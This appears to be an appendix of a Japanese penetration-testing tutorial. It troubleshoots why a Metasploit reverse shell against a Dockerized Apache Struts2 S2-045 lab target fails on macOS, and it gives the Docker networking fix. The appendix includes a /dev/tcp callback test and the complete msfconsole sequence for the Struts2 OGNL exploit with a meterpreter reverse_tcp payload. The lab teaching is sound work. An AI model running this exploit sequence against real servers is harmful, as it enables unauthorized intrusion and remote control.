付録D. reverse shell が戻らないとき(macOS Docker の罠)¶
これは補足(トラブルシューティング)です。本筋は nmap → Metasploit → meterpreter の3つの道具の使い方。 この付録は「
exploitは成功したのにmeterpreter >にならない」という、 macOS 特有のつまずきに当たったときだけ読めば十分です。
症状¶
STEP 7 で exploit を打つと、こうなる:
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
checkは通る(脆弱性はある)- 攻撃コードも届いている
- なのにセッション(meterpreter)が開かない
reverse shell とは(なぜ「戻り」が要るか)¶
flowchart LR
A["攻撃役<br>(自分)"] -->|① 攻撃を送る| T["的サーバー"]
T -->|② 的が自分から<br>接続を返す(reverse)| A
style A fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
style T fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3reverse_tcp ペイロードは、侵入後に的が「自分(攻撃役)に接続を返してくる」方式です。
だから「自分(LHOST)が、的から見て到達できる場所にいる」必要があります。
ここが届かないと、攻撃が成功しても戻ってこないのです。
原因の切り分け(推測せず、証拠で確定する)¶
「ツールが悪い」「回線が悪い」と推測する前に、的から自分に戻れるかだけを直接テストします。
テスト:的コンテナから Mac 本体に戻れるか¶
# Mac側で待ち受け(別ターミナルで)
nc -l 4444
# 的コンテナから Mac に向けて送ってみる
docker exec struts2-s2045 bash -c "echo HELLO > /dev/tcp/host.docker.internal/4444"
結果:
的コンテナが Mac 本体に戻れないことが判明。さらに切り分けると:
| 的から → | 結果 |
|---|---|
| 外部インターネット(1.1.1.1) | ✅ 到達できる |
| 他のコンテナ | ✅ 到達できる |
| Mac 本体 | ❌ 届かない |
真因:macOS の Docker の構造¶
flowchart TB
subgraph Mac["Mac 本体(macOS)"]
subgraph LVM["Docker が内部に持つ Linux VM"]
C1["的コンテナ"]
C2["他のコンテナ"]
C1 -.->|✅ 届く| C2
C1 -->|✅ 届く| NET["外部インターネット"]
end
C1 -.->|❌ 届かない| HOST["Mac 本体の待ち受け"]
end
style C1 fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
style HOST fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3macOS の Docker は、内部の Linux VM の中でコンテナを動かしている。 だからコンテナから見ると Mac 本体は「VM のさらに外」にいて、reverse shell が戻れない。
🔑 ここが結論:reverse が戻らなかったのは、 ngrok のせいでも、回線(CGNAT)のせいでも、エミュレーションのせいでもなく、 「macOS の Docker の構造」が原因でした。 ツールをあれこれ変える前に、証拠で原因を切り分けることが遠回りを防ぎます。
解決:攻撃役と的を「同じ Docker ネットワーク」に置く¶
コンテナ同士なら到達できることは確認済み。 ならば「攻撃役もコンテナにして、的と同じネットワークに入れる」だけで解決します。
flowchart TB
subgraph NET["専用ネットワーク pentest-lab"]
ATK["attacker<br>Metasploit コンテナ<br>10.10.10.2"]
TGT["struts2-s2045<br>的サーバー<br>10.10.10.3"]
ATK -->|攻撃| TGT
TGT -->|✅ reverse shell が戻る| ATK
end
style ATK fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
style TGT fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3手順¶
# ① 専用ネットワークを作る
docker network create pentest-lab
# ② 的を そのネットワークに繋ぐ(既に起動済みの的を接続)
docker network connect pentest-lab struts2-s2045
# ③ 攻撃役(Metasploit コンテナ)を同じネットワークで起動
docker run -d --name attacker --network pentest-lab \
--entrypoint sleep \
metasploitframework/metasploit-framework infinity
# ④ それぞれの ネットワーク内IPを確認
docker inspect attacker --format '{{.NetworkSettings.Networks.pentest-lab.IPAddress}}'
docker inspect struts2-s2045 --format '{{.NetworkSettings.Networks.pentest-lab.IPAddress}}'
攻撃役コンテナの中で Metasploit を動かす¶
# 攻撃役コンテナに入る
docker exec -it attacker bash
# コンテナ内で Metasploit を起動(このイメージでは ./ が必要)
cd /usr/src/metasploit-framework
./msfconsole
msf6 > が出たら、07章と同じ流れ。
ただし IP は「同じネットワーク内のIP」 を使う:
use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS <的のネットワーク内IP> # 例: 10.10.10.3
set RPORT 8080 # ネット内では元の 8080
set TARGETURI /showcase.action
set LHOST <攻撃役のネットワーク内IP> # 例: 10.10.10.2 ← ここが戻り先
set LPORT 4444
check
exploit
今度は——
reverse shell が戻り、侵入成功! 🎉 ngrok も VPN も固定IPも要りませんでした。
この学びは「実務」にそのまま効く¶
flowchart LR
L["ローカル練習<br>攻撃役と的を<br>同じDockerネットに"] -.同じ原理.-> R["実務<br>攻撃用マシンを<br>標的と同じクラウド/ネットに"]
style L fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3
style R fill:#2d333b,stroke:#bc8cff,stroke-width:2px,color:#e6edf3「攻撃役を標的と同じネットワークに置けば、戻りの壁は消える」—— この原理は、オンラインのステージング診断でも同じです。 攻撃用マシンを標的と同じクラウド内に置けば、回線(CGNAT)に関係なく reverse が通ります。
📎 補足:標的と同じネットに置けない場合の代替(固定IP付きVPN、トンネル等)は、 環境・契約・守秘のトレードオフがあります。詳しくは実務の判断材料として別途。